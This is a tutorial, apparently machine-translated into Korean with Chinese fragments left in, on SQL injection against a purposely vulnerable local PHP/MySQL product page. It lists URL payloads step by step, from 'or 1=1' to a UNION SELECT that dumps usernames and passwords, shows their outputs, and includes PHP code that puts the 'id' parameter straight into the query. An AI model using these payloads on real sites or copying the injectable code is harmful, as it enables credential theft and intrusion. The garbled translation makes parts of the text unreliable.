이 기사의 내용은 PHP에서의 SQL 주입 전체 과정입니다. 이제 모든 사람과 공유합니다. 도움이 필요한 친구들이 참고할 수 있습니다.
SQL 주입에 대한 몇 가지 기술을 익힌 후 다음은 PHP+용 SQL 주입입니다. MYSQL 간단한 연습
먼저 두 개의 MYSQL 데이터 테이블을 살펴보세요
사용자 기록 테이블:
REATE TABLE `php_user` ( `id` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', `userlevel` char(2) NOT NULL default '0', PRIMARY KEY (`id`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10'); INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');
제품 기록 목록:
CREATE TABLE `php_product` ( `id` int(11) NOT NULL auto_increment, `name` varchar(100) NOT NULL default '', `price` float NOT NULL default '0', `img` varchar(200) NOT NULL default '', PRIMARY KEY (`id`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg'); INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');
다음 파일은 show_product 입니다 .php는 제품 목록을 표시하는 데 사용됩니다. SQL 주입은 또한 이 파일의 SQL 문 취약점을 악용합니다.
<?php $conn = mysql_connect("localhost", "root", "root"); if(!$conn){ echo "数据库联接错误"; exit; } if (!mysql_select_db("phpsql")) { echo "选择数据库出错" . mysql_error(); exit; } $tempID=$_GET['id']; if($tempID<=0 || !isset($tempID)) $tempID=1; $sql = "SELECT * FROM php_product WHERE id =$tempID"; echo $sql.'<br>'; $result = mysql_query($sql); if (!$result) { echo "查询出错" . mysql_error(); exit; } if (mysql_num_rows($result) == 0) { echo "没有查询结果"; exit; } while ($row = mysql_fetch_assoc($result)) { echo 'ID:'.$row["id"].'<br>'; echo 'name:'.$row["name"].'<br>'; echo 'price:'.$row["price"].'<br>'; echo 'image:'.$row["img"].'<br>'; } ?>
다음 문을 확인하세요. $sql = "SELECT * FROM php_product WHERE id =$tempID";
$tempID는 $에서 얻습니다. _얻다 . SQL 주입의 목적을 달성하기 위해 이 변수의 값을 구성할 수 있습니다
다음 링크를 각각 구성하십시오:
1, http://localhost/phpsql/index.php?id=1
다음 출력을 가져옵니다.
SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句
//ID가 1
인 제품 정보 목록 가져오기ID:1
name:name_1
price:12.2
image:images/name_1.jpg
2、 http://localhost/phpsql/index.php?id=1 or 1=1
得到输出
SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句
//一共两条产品资料列表
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:2
name:name_2
price:35.25
image:images/name_2.jpg
1和2都得到资料列表输出,证明SQL语句执行成功
3、判断数据表字段数量
http://localhost/phpsql/index.php?id=1 union select 1,1,1,1
得到输出
SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句
//一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:1
name:1
price:1
image:1
4、判断数据表字段类型
http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)
得到输出
SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:0
name:A
price:0
image:A
注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面
为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型
5、大功告成,得到我们想要的东西:
http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user
得到输出:
SELECT * FROM php_product WHERE id =10000 Union select 1,username,1,password from php_user
//두 개의 사용자 정보가 출력되며, name은 사용자 이름, image는 사용자 비밀번호입니다.
ID:1
name:seven
price:1
image:seven_pwd
ID:1
name:swon
가격:1
image:swons_pwd
URL의 ID=10000은 상품 정보를 얻기 위한 것이 아니고 단지 다음 조합의 쿼리 결과를 얻기 위한 것입니다. 보다 실제적인 상황에서는 ID 값이 2번과 4번 위치에 있어야 합니다. 이는 이전 select 문과 일치합니다. 이것이 통합 쿼리
문
의 특징입니다. 참고:
이 간단한 주입 방법은 환경에 더 특화되어 있습니다. 실제로는 이보다 더 복잡합니다. 그러나 원칙은 동일합니다.
관련 추천:
위 내용은 PHP에서 SQL 주입의 전체 프로세스의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!